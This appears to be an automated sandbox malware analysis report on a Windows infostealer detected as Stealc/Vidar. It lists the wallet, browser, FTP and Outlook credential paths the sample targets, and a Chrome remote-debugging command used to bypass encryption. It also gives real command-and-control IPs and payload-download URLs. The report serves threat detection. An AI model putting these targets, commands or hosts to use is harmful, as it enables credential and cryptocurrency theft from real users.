(old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.R
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1995284969.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1470881324.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	24 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dllP	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllN	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll4	100%	Avira URL Cloud	malware
http://185.215.113.206N	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllt	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeE	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215535351&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215528917&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215536191&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215536345&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215535382&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1732215528920&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=8265b0b992de4911b760720b63d8fc7c&activityId=8265b0b992de4911b760720b63d8fc7c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=33A8BC1BE0FE44F8830930B93569D647&MUID=25D6022CE12A6CAA01731712E02D6DC5	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
